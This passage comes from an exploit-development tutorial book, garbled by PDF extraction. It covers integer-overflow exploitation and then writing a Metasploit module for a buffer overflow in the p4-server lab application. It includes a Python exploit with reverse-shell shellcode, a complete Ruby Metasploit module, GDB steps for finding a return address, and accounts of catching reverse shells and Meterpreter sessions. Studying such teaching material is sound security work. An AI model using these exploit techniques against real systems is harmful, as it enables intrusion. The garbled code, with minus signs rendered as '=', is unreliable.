nops1 = b”\x90” * ( o f f s e t = l en ( s h e l l c o d e ) = 100 = 4)
nops2 = b”\x90” * 100
r e t = b ’BBBB’

buf = s t r ( i n t ( s i z e ) ) . encode ( ’ ut f =8 ’) + b ’ ’
+ nops1 + s h e l l c o d e + nops2 + r e t

sys . s tdout . b u f f e r . wr i t e ( buf )
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In the code we, see the import of the module ”sys”, which will be used to
make a raw stdout. This stdout is just a print, but it prints out our bytes.
The next three lines are defining the offset to the instruction pointer, which
will be used with our formula to calculate the correct negative integer value,
which will cause a buffer overflow. The shellcode is just the copied shell-
code from the recently named chapter, and it is not a simple string these
are bytes. This is one of the differences between Python3 against Python2.
Strings here are now Unicode by default and must be converted to bytes so
that the shellcode does not change. The next three lines are the nop sleds
and the return address which is currently a dummy address. the last two
lines builds the exploit buffer and prints that out with a raw stdout. Now
we can run this exploit in GDB to determine a good return address which
points into our stack where our buffer is located. The first thing we should
do is to unset 2 environment variables in GDB to make the stack addresses
identical to the user bash environment like in the figure below.

Figure 7.7: Unset LINES and COLUMNS for get user environment identical
stack addresses
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Now we can run our exploit and finally search a good return address to make
the exploit working. The first execution will end up in a segmentation fault
because of the dummy return address.

Figure 7.8: Segmentation fault because of the return address 0x42424242

Figure 7.8 shows that the instruction pointer EIP gots overwritten by the
dummy return address. Now we can look into the stack to determine a good
return address which points in the middle of the first nop sled.
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Figure 7.9: Determining a return address after the segmentation fault

We see in Figure 7.9 a good return address (circled in red) which points
nealy to in the middle of the first nop sled. This address can now replace the
dummy return address of the exploit. The resulting exploit should now look
like this below.

#!/ usr / bin /env python3
import sys
o f f s e t = 272
s i z e o f = 4
s i z e = =(2**31) + ( o f f s e t /4)

s h e l l c o d e = b ’\ x31\xc0\x50\x68\x6e\ x2f \x6e\x63\x68\ x2f \ x2f
. . .
\ xf6 \x31\ x f f \xb0\x0b\xcd\x80 ’
nops1 = b”\x90” * ( o f f s e t = l en ( s h e l l c o d e ) = 100 = 4)
nops2 = b”\x90” * 100
r e t = b ’BBBB’

buf = s t r ( i n t ( s i z e ) ) . encode ( ’ ut f =8 ’) + b ’ ’
+ nops1 + s h e l l c o d e + nops2 + r e t

sys . s tdout . b u f f e r . wr i t e ( buf )
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If we execute the exploit again, we should be able to get a reverse tcp shell
connection.

Figure 7.10: The exploit works in GDB

We see, we have a reverse tcp shell connection and can now interact with
them to execute some commands. Now that we have unset som environment
variables in GDB, the exploit should also work outside of GDB.

Figure 7.11: The exploit works outside of GDB

The exploit also works outside of GDB, and we can also interact with the
shell.
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7.7 Final thoughts

This chapter was not very much, but this type of vulnerability is very
common but hard to find. We have seen the behavior of integers and also
seen which impacts an integer overflow/underflow can have.

If this all was easy for you to understand, congratulation! Then you are on
the right way or you have it already learned. If not, then I recommend you
should read this chapter again and try it put into practice and you will
understand. For better understanding, I recommend writing some own
exploits to get a better feeling.

What did we learn in this chapter? We learned how dangerous integer
overflows/underflows can be. We learned to exploit this type of
vulnerability by increasing the balance of a bank account by making huge
withdraws. We also learned how this vulnerability can be lead to code
execution by exploiting an integer-based memory allocation to achieve a
buffer overflow because of negative and positive integers. We learned how
we can calculate a negative integer value for further exploitation purposes.

Integers are very essential in every programming language, but these can go
wrong if the program makes mistakes in checking values.
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Chapter 8

Metasploit-Development

8.1 Introduction

This chapter will describe how exploits can be written, as a module for
Metasploit. This is important because Metasploit is one of the most powerful
tools for penetration testers and everyone should know some about it.

8.2 Why Metasploit?

Metasploit is one of the most powerful tools for penetration tests. This
framework is like a swiss knife for hacking and should be known by hackers
and penetration tester. It’s written in ruby, which makes the development
using this framework easier. Many other tools in Kali Linux can interact
with Metasploit, which allows unleashing the full power of this framework.

8.3 Getting Metasploit

Metasploit is preinstalled on Kali Linux so it is not required to install this
framework. But Kali Linux is not used, Metasploit can be downloaded on
Github.

To install this framework we have to clone the repository as root with the
command:

cd /opt
g i t c l one https : // github . com/ rapid7 / metasp lo i t=framework . g i t
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To install Metasploit, we have to run the gem packet manager to install
”bundle” which will install all dependencies for Metasploit. During the in-
stallation, many gems and libraries can cause an error. Just update ”bundle”
and ruby.

gem i n s t a l l bundle
bundle i n s t a l l

After installation, simply enter the command ”msfconsole” like the figure
below, and Metasploit should be running.

Figure 8.1: The metasploit CLI

In Figure 8.1, we see that Metasploit is working fine, and we get the CLI of it.
Under Kali Linux, Metasploit can be started by just running the command
”msfconsole”.
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8.4 Definition of the development environ-

ment

Our machine for the development will be a Kali Linux with preinstalled
Metasploit. As a vulnerable program, we use the small server application
from chapter Buffer overflow. To debug the exploit and the vulnerable pro-
gram, GDB will be used.

8.5 Structure of a Metasploit exploit module

A module for Metasploit is a class that contains all the important stuff of our
exploit. The Class is called ”MetasploitModule” which has some methods
which we have to understand.

The method ”initialize”:
This method is the setup for our exploit, here will several settings made.
Register new settings or deregister existing settings can be also made here.
This important because not every exploit is identical to other exploits, and
makes the exploit more customizable. Not only settings will be made here.
Information about the exploit embedded like a CVE-number, the description
of the vulnerability, the name of the author, and the target can be embedded
here, too. In this method, one of the targets can be chosen as the default
target.

The method ”check”:
This method is used to check if the target machine or program is vulnerable
to the exploit itself. Here we can implement our exploit without popping a
shell. This method is only for checking the state of vulnerability.

The method ”exploit”:
This method is like the check method, but here we are popping a shell on
the target.

205



The ranking system :
The ranking system is used to give some information about the difficulty of
exploitation and its potential impact on the target system. It exists 7 ranks
which have their meaning.

Rank Description

ExcellentRanking The exploit will never crash the service. This is the
case for SQL Injection, CMD execution, RFI, LFI,
etc. No typical memory corruption exploits should
be given this ranking unless there are extraordinary
circumstances (WMF Escape()).

GreatRanking The exploit has a default target AND either auto-
detects the appropriate target or uses an application-
specific return address AFTER a version check.

GoodRanking The exploit has a default target and it is the ”common
case” for this type of software (English, Windows 7 for
a desktop app, 2012 for server, etc).

NormalRanking The exploit is otherwise reliable, but depends on a
specific version and can’t (or doesn’t) reliably autode-
tect.

AverageRanking The exploit is generally unreliable or difficult to ex-
ploit.

LowRanking The exploit is nearly impossible to exploit (or under
50 success rate) for common platforms.

ManualRanking The exploit is unstable or difficult to exploit and is
basically a DoS. This ranking is also used when the
module has no use unless specifically configured by
the user (e.g.: exploit/unix/webapp/php eval).

Here we see, all rankings with their meanings. Our exploit will have a
GoodRanking because we can add a default target to it. Our module needs
mixing with Msf::Exploit::Remote because our exploit will be a remote ex-
ploit.
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In total, the general structure of our module looks like this below.

r e q u i r e ’ msf/ core ’

c l a s s MetasploitModule < Msf : : Exp lo i t : : Remote
Rank = GoodRanking
de f i n i t i a l i z e ( i n f o ={})

super ( update in f o ( in fo ,
’Name’ => ”Name o f e x p l o i t ” ,
. . .

) )
end

de f check
# For the check command

end

de f e x p l o i t
# Main func t i on

end
end
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8.6 Creating the Module

The creation of the Module is not difficult, we only have to choose what type
of module is it. Under Metasploit, we have in general 7 module types.

� Auxillary: Modules to perform scanning, sniffing, fuzzing und more

� Encoders: Modules to encode the payload/shellcode

� Evasion: Modules for helping to evade AV’s on target systems

� Exploits: Modules used for exploiting vulnerabilities on the target sys-
tem

� Nops: Modules that can generate nop sleds

� Payloads: Modules that will generate shellcodes to drop a shell on the
target system.

� Posts: These Modules are used for post-exploitation. For example,
getting higher privileges on the target system.

The first we know it is an exploit. What we also know is the vulnerable
application is running on Linux. For this purpose the exploit will be created
on the module path
”/usr/share/metasploit-framework/modules/exploits/linux/misc/p4 server buf.rb”.
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r e q u i r e ’ msf/ core ’

c l a s s MetasploitModule < Msf : : Exp lo i t : : Remote
Rank = GoodRanking

inc lude Explo i t : : Remote : : Tcp

de f i n i t i a l i z e ( i n f o = {})
super (

update in f o (
in fo ,
’Name’ => ’ p4=s e r v e r remote bu f f e r ove r f l ow ’ ,
’ Descr ipt ion ’ => %q (

This e x p l o i t module i l l u s t r a t e s
the p4=s e r v e r . c bu f f e r ove r f l ow=e x p l o i t
works in metasp lo i t
)

)
)

end

de f check
Explo i t : : CheckCode : : Vulnerable

end

de f e x p l o i t
#do s t a f f here

end
end

The code above shows the skeleton of the exploit module is prepared. There
some new important lines which we cover in detail. The first line is above
the function ”initialize”. Here we have an include that specifies the remote
type. In this case, we want a TCP-connection to the vulnerable application.
The next lines are the keywords, ”Name” and ”Description”. The keyword
”Name” holds only the name of the exploit. Here is it important to name
the exploit in this schematic below:

[ Vendor ] [ Software ] [ Root Cause ] [ V u l n e r a b i l i t y type ]

This pattern above is the naming convention in Metasploit.
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If you want to publish some exploits to Metasploit, you should use this
pattern. The keyword ”Description” is used to describe something about
the exploit itself. That description could be useful for users. If we save this
skeleton, Metasploit should recognize this and shows it in the search results.
If Metasploit don’t recognize this module, just enter the following command:

msf6>r e l o a d a l l

This will cause a full reload of all libraries and modules. By searching the
module, we got a result like in the figure below.

Figure 8.2: Metasploit recognizes the new module

As we can see in Figure 8.2, Metasploit recognizes our module and shows it
in the results.
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8.7 Registering and deregistering Options

This module can be used with the command ”use” and we can list the op-
tions of the module.

Figure 8.3: Default options automatically included in our module

If we printing out all options of our module with the command ”show op-
tions”, we find two automatically added options called ”RHOSTS” and ”RPORT”.
These two options are required for our remote exploit. For this module we
remove the option ”RHOSTS” and register a new option called ”RHOST”,
to show how options can be registered and how the convention of registering
options is in Metasploit. To remove the option ”RHOSTS” as we can see in
Figure 8.3, we have to use the method ”deregister options”. This method
takes as parameters the name of the options.

Figure 8.4: Deregister the option RHOSTS
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The basic syntax of this method is the following:

d e r e g i s t e r o p t i o n s (*names )
d e r e g i s t e r o p t i o n s ( Option1 , Option2 , Option3 , . . . . )

After removing this option, the module should look like in Figure 8.4 in
the method ”initialize”. Now at this point, if using the module again and
showing all options, the option RHOSTS is not listed what we see in Figure
8.5.

Figure 8.5: The option RHOSTS is now removed from the options.

Well, if we want to register new options, we have to take a look at the
convention to register options. Metasploit gives us some OptionTypes, which
we can use to register an option.
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The basic Option-Object for register options during the datastore registration
is in the following format

OptSomething . new( option name , [ boolean , d e s c r i p t i o n , va lue ] )

The format of a new option is quite simple. The convention here is to write
the option always in uppercase. That will be the name of the new option.
Right after the name, some parameters will be appended as a list to the
option. Note that advanced options are written in CamelCase, which is also
a convention. Before we can register a new option, we have to look at the
parameters in detail.

The parameters are defined as follows:

Parameter Description

option name The name of the Option which will be displayed by running
the command ”show options”. This parameter should be
set to a clear name.

boolean If this value is true, this option is required. Otherwise, if
it is false, the option is optional.

description A short description of what the option is for.
value This parameter means the default value, which the option

has on the initial state of the module. If the Option is not
required this value must not have any value it will be nil
automatically.

These parameters are necessary for an option. This is because every option
we made, will be stored in the datastore. The datastore is like a simple
key-value-store or like a NoSQL-database. Every option, which we want
to register to the datastore starts with ”Opt” followed by the type name.
Metasploit has several type-names that we can use.
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Option-Types which Metasploit come with:

Option-Type Description

OptString This Option-Types is a typical string, which means we
can write anything to it what we can with an typical
string. If the entered input begins with ”file://” the
option type will be handled as OptFile without any
file validation.

OptRaw This Option-Type has actually the same functionality
as OptString.

OptBool On this Option-Type we can only enter true or false,
yes or no, 0 or 1 and other which will be interpreted
as true or false.

OptEnum This type is used to limit the input to specific choices.
Only the defined items of the enum can be entered by
the user.

OptPort This is one of the important Option-Types, this
Option-Type is used for port numbers between 0 -
65535.

OptAddress This Option-Type is also an important Option-Type
which will be used for remote hosts. This type speci-
fies a valid IPv4-Address for the target host.

OptAddressLocal This Option-Type is also an important Option-Type
which will be used for reverse shells or more. This
type specifies a valid IPv4-Address for your machine.

OptPath This Option-Type is used for files. The input will be
interpreted as a file path that will be validated.

OptInt This type allows you to use integers which can be also
a hexadecimal value.

OptFloat This type allows you to use floats.
OptRegexp This Option-Type is used for regular expressions.

This can be used for example for searching some key-
word in a response or something else.
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For this module, the Option-Type ”OptAddress” fulfills the requirement for
the Option ”RHOST” which specifies our target host. To register an Option,
we have to use the method ”register options”. This method allows us to
register multiple Options to the datastore.
The Options itself are in an array, the array is the parameter for the method
”register options”.

r e g i s t e r o p t i o n s ( [
OptAddress . new(

’RHOST’ , [ true , ’ Target remote host ’ , ’ ’ ]
)

] )

The new registered Option ”RHOST”, is from the type ”OptAddress” and
is declared as required Option.

Figure 8.6: The new registered Option ”RHOST” is shown in the Options
list.

We see in Figure 8.6 our registered option with the name ”RHOST”, which
specifies the target host address.
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8.8 Write the Exploit

The next step that we can do, is to implement the exploit. As exploit, we use
the exploit-code from the past. We simply drop this exploit into the method
exploit. Figure 9 shows the embedded exploit in the method ”exploit”.

Figure 8.7: Embedded exploit for the vulnerable application.

The exploit from the past is now embedded in the method ”exploit”. This
exploit is very static and can not be customized with the Options ”RHOST”
and ”RPORT”. But first, we need to create the Target-List and choose the
Default target. The Target-List is a list of several Systems, Applications, and
services. This field is used to specify what version the exploit is targeting.
To create the Target-List, we have only to add a new field, called ”Targets”
as a parameter for the method ”update info”. This field gets an array that
contains several Arrays that contain the name of the Target and Hash-Object
in it. The pattern for specifying Targets looks like the definition below.

’ Targets ’ => [
[

’ Target=Name’ ,
{

’ Property=Name’ => Value ,
. . .

}
] ,
. . .

]

216



This list defines for each target a return address a specific offset or a ROP-
Gadget. All important information in a Hash-Object for each target can
contain more than a return address, it can contain custom information like a
full ROP-Stack. Our Target-List will contain only one target, our vulnerable
application with the return address of our exploit.

Figure 8.8: The Target-List is implemented into the module

As we can see here in Figure 8.8, the Target-List is implemented, with the
name of our vulnerable application and the return address which our exploit
uses to execute the reverse shell. At this point, the module needs a Default-
Target. The Default-Target is used to specify what the exploit is targeting by
default. The implementation of a Default-Target is simple, just add another
field called ”DefaultTarget” which points to the number 0. The number is
the index number of Target-List. By default, if no Default-Target is specified,
the Default-Target is already the first entry of the Target-List.

’ Targets ’ => [
[

. . .
]

] ,
’ DefaultTarget ’ => 0
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8.9 Define the platform

Why we have to specify the platform? The platform indicates which plat-
forms are supported for this exploit. Metasploit supports several platforms
for exploiting.

Platform alias Platform

all All platforms
aix Advanced Interactive eXecutive

android Android
apple ios IOS for iPhone, iPad etc..

bsd BSD Unix (NetBSD, FreeBSD, OpenBSD)/BSDi Unix
cisco Cisco OS for Router, Switches, Firewalls

firefox Firefox browser
hpux HP-UX (Hewlett Packard Unix)
irix IRIX-Unix
java Java-Platform
js JavaScript

linux Linux
netware NetWare
nodejs Node.JS

osx Mac OS X
php Generic PHP, Vanilla PHP

python Python
ruby Ruby

solarix / unix Solaris V4-V11
unix Unix
win Windows

On the left side of the table, the aliases are listed for each platform. On the
right side, we see the corresponding platform like ”Windows”, ”Linux”, or
”Android” for each alias. The alias describes the platform. This will be the
value of the field ”Platform”. We see Metasploit supports many platforms
for exploiting.
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To define the platform for our exploit module, we have to add to the method
”update info” the new field called ”Platform” which points to the Array,
which contains the aliases.

Figure 8.9: Definition of the platform for this module.

In Figure 8.9 we see the defined platform which specifies the support of our
exploit.
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8.10 Create a connection with Metasploit

-Sockets

The next thing we have to do is creating a socket. This socket we will
use to connect to our target and send the raw exploit. Metasploit gives
us here methods to create a connection, which we can use. Basically, we
can create our own socket for that, but the sockets from Metasploit guar-
antee non-block. This is very good because we don’t want in worst-case a
socket which hangs up on problems. We remember that we included the mix-
ing ”Msf::Exploit::Remote” and included the class ”Exploit::Remote::Tcp”
which offers us several methods for creating connections. This class also
registers advanced options like SSL-Settings, connection timeout, and more.
With the statement ”connect” which is a method that takes two parameters,
we can create a connection. The first parameter is global, which is used
to make this TCP socket global as necessary. The second parameter is our
target host address, which is stored in a Hash-Object. Thos Hash-Object
contains the host address and the port number of the target.

connect ( true , { ’RHOST’ => ’ 1 2 7 . 0 . 0 . 1 ’ , ’RPORT’ => 4444})

By default, Metasploit connects automatically to our target by using the
options ”RHOST/RHOSTS” and ”RPORT”, so that we can use only the
statement ”connect” which automatically calls the ”connect”-method with
our Options.

Figure 8.10: Creating a connection with the instruction ”connect”.

Here in Figure 8.10, we can see how simple it is to create a connection with
Metasploit.
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Now we can test if it works correctly. For this test, the vulnerable applica-
tion will be executed and we run this Module to create a connection to the
application.

Figure 8.11: Metasploit creates a connection.

Figure 8.11 shows, how we can create a connection to the target application,
which we see on the top side in this figure. There is one problem, we can not
interact with the underlying system because we have only connected to the
target but we send no data. Therefore this connection is useless, to make the
connection useful, we have to send the exploit over this socket. This can be
done by using the variable sock, which is created by connecting to the target.
This can be used to send or receive data. After sending the raw exploit we
have to disconnect from the target. The disconnection can be realized by
using the statement ”disconnect”. The implementation of sending the raw
exploit and the disconnect from the target after sending looks like in the
figure below.

Figure 8.12: Implementation of sending the raw exploit and disconnect after
sending
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At this point here, we can execute the vulnerable application and run this
module again. So before we run the module again we have to change the
local port of Metasploit bind listener to another port than 4444. To set up a
listener we use as in the past NetCat which receives the incoming connection
of our reverse shell. The listener which we create with NetCat runs on
port 4444. Now we can run the module again and we receive an incoming
connection from our payload which is our shellcode in this case.

Figure 8.13: The module spaws a shell on the target host.

In Figure 8.13 we see our module sends the raw exploit to the target and
we got a shell that connects back to our NetCat-Listener. We can now run
commands on the target host.
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8.11 Replacing shellcode with Metasploit’s Pay-

loads

The next step that we have to do is remove our shellcode and replace it
with a placeholder. The placeholder will be used to embed at runtime one
of Metasploit’s payloads. This is a bit difficult because there is an ensure to
hold the current offset to the payload and to the return address.

Figure 8.14: Dynamic payload embedding

As we can see here (Figure 8.14 ), parts of the exploit are grey, which means
these parts are in a fixed position. The red part is our dynamic payload,
which will be embedded by Metasploit. The blue part is the second Nop-
Sled, which generates an offset to the return address. This ratio will be
automatically calculated at runtime. To realize this, we have to take the full
length of the exploit and subtract the length of the first Nop-Sled. From
the result, we subtract the length of the return address and the length of
the payload. This result is the length of the second Nop-Sled between the
payload and the return address.

Let e the full exploit, n1 the first Nop-Sled,

pthe payload, and rthe return address.

|x| will be the length of x in bytes, so the second Nop-Sled |n2| will be :

|n2| = |e| − |n1| − |p| − |r|
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The apply of the formular will result into this code which we can see in the
figure below.

Figure 8.15: The dynamic ratio of the payload and the second Nop-Sled

What is different now in Figure 8.15 ? The difference is that we removed
the old shellcode and replaced that with the payload. The statement ”pay-
load.encode” is also a method that generates the payload from the options
and returns it. The returned raw payload will be encoded at a lower level
from the mixin ”Msf::PayloadEncoded”. The statement payload is only the
result of what we see and work with. The second Nop-Sled is now a Nop-
Operation multiplied with the result of the calculation. To get the correct
ratio between payload and the second Nop-Sled to hold the full length of the
exploit to 1040 bytes. The last difference is the print out of the full length
of the modified exploit. By executing the module again, we don’t get a shell
at this time. This is because we have bad characters like null bytes in our
exploit. If we look into the received exploit with the tool ”hexdump”, we can
see there many null bytes in the exploit, which we can see in Figure 8.16.

Figure 8.16: The dump of the exploit contains many null bytes

224



To remove these null bytes from the exploit, we have to say Metasploit,
which bytes we want to avoid. That can be done by creating a new field
with the name ”Payload”. This field has an embedded HashObject in there.
This HashObject is called ”BadChars” which lists all bytes, which should be
avoided, on payload generation. Each time if we execute a module, Metas-
ploit generates a new payload in the background. During the generation of
the payload, Metasploit looks into this HashObject, and searches compat-
ible encoders, which matches the requirements. We can now assume that
Metasploit is giving us an encoded payload in most cases.

. . .
’ Platform ’ => [ ’ l inux ’ ] ,
’ Payload ’ => {

’ BadChars ’ => ”\x00”
} ,
. . .

The code snippet shows how we can define bad characters to avoid null
bytes in our code. Now we can run the module again and view it into the
”hexdump”. The result is we have no null bytes in our exploit which we can
see in Figure 8.17.

Figure 8.17: Hexdump shows, there no null bytes in the exploit dump.
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The correction in this module, has now the effect that the exploit works now
properly.

Figure 8.18: The exploit works now correctly and opens a Meterpreter session

In Figure 8.18 we see the exploit works and we get a Meterpreter session
which we can use to interact with the target host.
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8.12 Using Target-Lists

At this point, this module is finished, but it’s not fully formal written. What
is meant by that? We have declared the Target-List with the return address
in further steps. We should replace the fixed return address from the ex-
ploit buffer with the return address from the Target-List. This makes the
exploit more dynamic and less static. To get the return address from the
chosen target of the Target-List, we can use the statement ”target.ret”. This
statement retrieves from the Target-List the value of the return address from
its Hash-Object. A target is an object from the type ”Msf::Module::Target”
which is handled as an HashObject.

target.ret⇔ target[′Ret′]

We see here the equivalence of both to each other. Now we know how we
get the return address from the target and can now replace the static return
address with the statement ”target.ret”.

Figure 8.19: Replacing the return address with the return address of the
object ”target”

In Figure 8.19, we see the replaced return address by the statement ”tar-
get.ret”. The address is cast in an array, which is packed as an unsigned
little-endian formatted integer.
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Now we reached the stage of testing the exploit.

Figure 8.20: Exploit works and drops a reverse shell

As we can see in Figure 8.20, the exploit is working, and we got a new
Meterpreter session, which we can use to interact with the target host. At
this point, the exploit itself is ready, and it is now time to make the rest of
formalism.
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8.13 Formal additives of a Metasploit-Module

The exploit itself is now embedded into the module, and we are almost done.
The only thing which we need is to add some more information about the
module and the embedded exploit-code. This information is likely the author,
the architecture for which the exploit is written for. If you write a Metasploit-
Module, you should insert this information because it is really important to
know how long this vulnerability exists, some references, and who has written
the module and is responsible for that. The first what we insert is the author
of this module. We call him ”Tony Tester”. As author name, you can use a
nickname, your real name, or your email address. The second what we insert
is the license. Here we can choose which license we want. Metasploit offers
here some predefined licenses, which are listed below.

Alias Description

MSF LICENSE Metasploit Framework License (BSD)
GPL LICENSE GNU Public License v2.0
BSD LICENSE BSD License

ARTISTIC LICENSE Perl Artistic License
UNKNOWN LICENSE Unknown License

If you choose none of these licenses, Metasploit adds automatically to the
module the standard MSF LICENSE. For this module, we set the license to
the standard MSF LICENSE.

Figure 8.21: Added the author and the license to the module

The implementation of the author and the license for the modules, which we
can see in Figure 8.21.
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As the next step, we add some references. References should have to be
related to the vulnerability or exploit itself. A reference can be a security
paper, a blog post, or an advisory. In this case, we add as a reference the
URL to the source code of the vulnerable application. Metasploit offers also
here several reference types.

ID/Alias Description

AKA This identifier is deprecated and stands for anything.
Example: [’AKA’, ’shellcock’]

BID This will be used for securityfocus.com references.
Example: [’BID’, ’1234’]

CVE This identifier is used as a reference for cvede-
tails.com. Example: [’CWE’, ’2020-1234’]

CWE This references to cwe.mitre.org. Example: [’CWE’,
’123’]

EDB This is the identifier that references to exploit-
db.com. Example: [’EDB’, ’1234’]

MSB This references to technet.microsoft.com. Example:
[’MSB’, ’MS17-010’]

PACKETSTORM This references to packetstormsecurity.com. Exam-
ple: [’PACKETSTORM’, ’123456’]

URL These references to a URL and can be anything,
for example, a blog post. Example: [’URL’,
’https://website.com/page-1’]

US-CERT-VU This references to kb.cert.org. Example: [’US-
CERT-VU’, ’123456’]

WPVDB This references to wpvulndb.com. Example:
[’WPVDB’, ’1234’]

ZDI This references to zerodayinitaitive.com. Example:
[’ZDI’, ’20-123’]

We can add more than one reference to the module. Each reference is a small
array, which has for the first item the identifier or alias. As the second item
will be the reference as a string. In our case we use the alias URL followed
by the url of the sourcecode itself.
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The implemented references should look like below.

. . . ,
’ References ’ => [

[ ’URL’ , ’ https : // samsc la s s . i n f o /127/ pro j /p4=s e r v e r . c ’ ]
] ,
’ Targets ’ => [ . . . ] ,

The last information which we also add to the module is the architecture.
Also here offer Metasploit many architectures which we can use to give more
information to our module. A short overview shows we have a large selection
of several architectures.

ARCH X86, ARCH X86 64 , ARCH MIPS, ARCH MIPSLE,
ARCH MIPSBE, ARCH PPC,ARCH PPC64, ARCH CBEA,
ARCH CBEA64, ARCH SPARC, ARCH ARMLE, ARCH ARMBE,
ARCH CMD, ARCH PHP, ARCH TTY, ARCH JAVA,
ARCH RUBY, ARCH DALVIK, ARCH PYTHON, ARCH NODEJS,
ARCH FIREFOX

For this module, we use the x86 architecture, because of our vulnerable runs
on this architecture. The implementation of the information that architecture
we use should look like below.

. . . ,
’ Arch ’ => [ ARCH X86 ] ,
. . . ,

We see the information that architecture is for is embedded into an array,
which means, a module can have support to more than one architecture. A
closer look at the output if we run the command ”show info”, we see all the
information that we added recently.
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Figure 8.22: The command ”show options” shows the information about this
module

All formal information which we added recently is shown in the output of
the command ”show info”. We see in Figure 8.22, the Author name, the
Description, the reference, and the license too. One thing which we have to
add is the Disclosure-Date but for this testing purpose, we don‘t need it.
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8.14 Define the check support

The module is now complete but one little thing we have to do, we have to
set in the method check the return value to unsupported to tell the user that
our module doesn‘t support any vulnerability checks. Metasploit has some
check codes which we can return during a check.

Check-Code Description

Appears The target appears to be vulnerable.
Detected The target service is running, but could not be validated.

Safe The target is not exploitable.
Unknown Can’t tell if the target is exploitable or not. This can

happen because of an timeout.
Unsupported The module does not support the check method.
Vulnerable The target is vulnerable.

The disabling of this method is very easy we have just replaced the Check-
Code from ”Vulnerable” to ”Unsupported”, see in the code below.

de f check
Explo i t : : CheckCode : : Unsupported

end

If we want to run the command ”check”, we must have set the required
Options first. By running the command ”check”, we get the message ”This
module does not support check” like in Figure 8.23 below.

Figure 8.23: The module doesn’t support checks anymore.
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The full exploit after all implementation of the requirements and additional
information and configuration.

r e q u i r e ’ msf/ core ’

c l a s s MetasploitModule < Msf : : Exp lo i t : : Remote
Rank = GoodRanking
inc lude Explo i t : : Remote : : Tcp

de f i n i t i a l i z e ( i n f o = {})
super (

update in f o (
in fo ,
’Name’=> ’ p4=s e r v e r remote bu f f e r ove r f l ow ’ ,
’ Descr ipt ion ’=> %q (

This e x p l o i t module i l l u s t r a t e s the p4=s e r v e r . c bu f f e r ove r f l ow=e x p l o i t works in meta sp lo i t
) ,
’ Author’=> ’Tony Tester ’ ,
’ L icense ’ => MSF LICENSE,
’ References ’ => [

[ ’URL’ , ’ https : // samsc la s s . i n f o /127/ pro j /p4=s e r v e r . c ’ ]
] ,
’ Targets ’ => [

[ ’P4=Server ’ , { ’ Ret ’ => 0 x f f f f b 4 1 0 } ]
] ,
’ DefaultTarget ’ => 0 ,
’ Platform ’ => [ ’ l inux ’ ] ,
’ Arch ’ => [ ARCH X86 ] ,
’ Payload ’ => {

’ BadChars ’ => ”\x00”
} ,

)
)
d e r e g i s t e r o p t i o n s ( ’RHOSTS’ )
r e g i s t e r o p t i o n s ( [

OptAddress . new(
’RHOST’ , [ true , ’ Target remote host ’ , ’ ’ ]

)
] )

end
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de f check
Explo i t : : CheckCode : : Unsupported

end

de f e x p l o i t
b u f f e r = ”\x90” * 460
b u f f e r += payload . encoded
b u f f e r += ”\x90” * (1040 = 460 = 4 = payload . encoded . l ength )
b u f f e r += [ t a r g e t . r e t ] . pack ( ’V’ )
puts (” Length o f the b u f f e r : %d” %[ b u f f e r . l ength ] )
connect
sock . puts b u f f e r
d i s connec t

end
end
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8.15 Final thoughts

This chapter was more about the implementation of Metasploit exploit
modules rather than developing a new exploit for a vulnerable application
from scratch. Here we only ported a given exploit from the chapter ”Buffer
overflow” to Metasploit. Metasploit is a very essential framework to
develop exploits and use them for penetration testing.

If this all was easy for you to understand, congratulation! Then you are on
the right way, or you have it already learned. If not, then I recommend you
should read this chapter again and try it put into practice, and you will
understand. For better understanding, I recommend writing some own
modules to get a better feeling.

What did we learn in this chapter? We learned what Metasploit is and how
it works. We learned how we can install it from scratch without using Kali
Linux where Metasploit preinstalled. We also learned how a Module is built
from the skeleton, so we can reuse it for several other developments. We
learned how comfortable we can convert a given exploit to Metasploit and
which modification we can make to it. Changing shellcode/payload is also a
thing, which we have learned and how we can change the target return
addresses to make our exploit more reliable. We have learned a bit about
the licenses and how we can add more information to our exploit to make it
more compliant with Metasploit conventions. Removing bad bytes from our
payload and encoding them we also learned in a quite simple way.

Metasploit is a great framework with many features which we don’t covered
at all, but the most important we covered in this chapter.

236



References and Ressources

Buffer overflow

� p4-server.c: https://samsclass.info/127/proj/p4-server.c

� Manpage of execve from unistd.h: https://linux.die.net/man/2/execve

� Syscalls x86 i368/i686: https://syscalls.kernelgrok.com/

� Command to convert binary to shellcode:
https://www.commandlinefu.com/commands/view/6051/get-all- shellcode-
on-binary-file-from-objdump

� GDB Peda plugin: https://github.com/longld/peda

Ret2Libc

� Python Struct: https://docs.python.org/3.7/library/struct.html

� Data Execution Prevetion (DEP):
https://en.wikipedia.org/wiki/Executable space protection

� GDB Peda plugin: https://github.com/longld/peda

ROP-Chain

� Python Struct: https://docs.python.org/3.7/library/struct.html

� Return oriented-programming (ROP):
https://en.wikipedia.org/wiki/Return-oriented programming

� ROP Turing-complete:
https://www.sba-research.org/wp-content/uploads/publications/
woot12.pdf

� Data Execution Prevetion (DEP):
https://en.wikipedia.org/wiki/Executable space protection

237



� Syscalls x86 i368/i686: https://syscalls.kernelgrok.com/

� Manpage of execve from unistd.h: https://linux.die.net/man/2/execve

� GDB Peda plugin: https://github.com/longld/peda

� RopGadget: https://github.com/JonathanSalwan/ROPgadget

� Ropper: https://github.com/sashs/Ropper

Off-by-One

� Off-by-One:
https://en.wikipedia.org/wiki/Off-by-one error

� Manpage of execve from unistd.h: https://linux.die.net/man/2/execve

� Syscalls x86 i368/i686: https://syscalls.kernelgrok.com/

� Command to convert binary to shellcode:
https://www.commandlinefu.com/commands/view/6051/get-all- shellcode-
on-binary-file-from-objdump

� GDB Peda plugin: https://github.com/longld/peda

Shellcode Alchemy

� GDB Peda plugin: https://github.com/longld/peda

� Metasploit-Framework: https://www.metasploit.com/

� VirusTotal.com: https://www.virustotal.com/gui/home/upload

� Shikata Ga Nai - Encoder:
https://github.com/rapid7/metasploit-framework/
blob/master/modules/encoders/x86/shikata ga nai.rb

� Metasploit encoders:
https://www.offensive-security.com/metasploit-unleashed/msfencode/

� Syscall table for x64 Shellcoding:
https://blog.rchapman.org/posts/Linux System Call Table for x86 64/

� Windows Syscall table (XP/2003/Vista/2008/7/2012/8/10): https://j00ru.vexillium.org/syscalls/nt/64/

238



� Raspberry Pi 3B: https://www.amazon.de/Raspberry-Model-
Mainboard-MicroSD-Speicherkartenslot/dp/B00LPESRUK/
ref=asc df B00LPESRUK/?tag=googshopde-
21&linkCode=df0&hvadid=309009267279&hvpos=1o3&hvnetw=g
&hvrand=1921577508059803053&hvpone=&hvptwo=&hvqmt=&h
vdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9043787&hvtargid=pla-
